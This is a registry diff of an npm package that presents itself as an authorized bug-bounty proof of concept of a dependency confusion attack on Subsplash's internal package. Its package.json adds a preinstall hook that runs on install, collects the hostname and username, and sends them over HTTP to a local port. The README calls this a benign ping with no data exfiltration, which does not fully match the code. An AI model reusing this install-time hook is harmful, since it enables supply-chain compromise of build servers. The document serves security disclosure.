@rutxploit-sec/subsplash-canny 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +28 -0
  2. package/index.js +1 -0
  3. package/package.json +11 -0
package/README.md ADDED
@@ -0,0 +1,28 @@
1
+ # @subsplash/canny — AUTHORIZED BUG BOUNTY POC
2
+
3
+ **Program:** Subsplash on Bugcrowd (rutxploit)
4
+ **Finding:** Dependency Confusion Attack
5
+ **Severity:** P1 Critical
6
+
7
+ ## What this proves
8
+
9
+ This package was registered on the public npm registry to prove that:
10
+
11
+ 1. Subsplash references `@subsplash/canny` in their production code
12
+ (visible in `https://ember.static.subsplash.com/prod/giving/assets/chunk.524.85239343af850eb1579b.js`)
13
+ 2. `@subsplash/canny` did NOT exist on the public npm registry
14
+ 3. Any attacker could claim this name and inject malicious code
15
+
16
+ ## How the attack works
17
+
18
+ If Subsplash's CI/CD `npm install` resolves `@subsplash/canny` from the public registry
19
+ (instead of their private registry), the `preinstall` script runs on their build server.
20
+
21
+ A real attacker would use this for RCE: steal AWS credentials, deploy keys, source code.
22
+
23
+ ## This PoC is safe
24
+
25
+ This package only logs a message and sends a benign HTTP ping to a researcher-controlled
26
+ server as proof of execution. No destructive actions. No data exfiltration.
27
+
28
+ **Report this to Bugcrowd immediately. Do not use maliciously.**
package/index.js ADDED
@@ -0,0 +1 @@
1
+ var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@rutxploit-sec/subsplash-canny",
3
+ "version": "1.0.0",
4
+ "description": "BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'"
8
+ },
9
+ "author": "rutxploit-sec (authorized Bugcrowd — 7a8faa0b)",
10
+ "license": "ISC"
11
+ }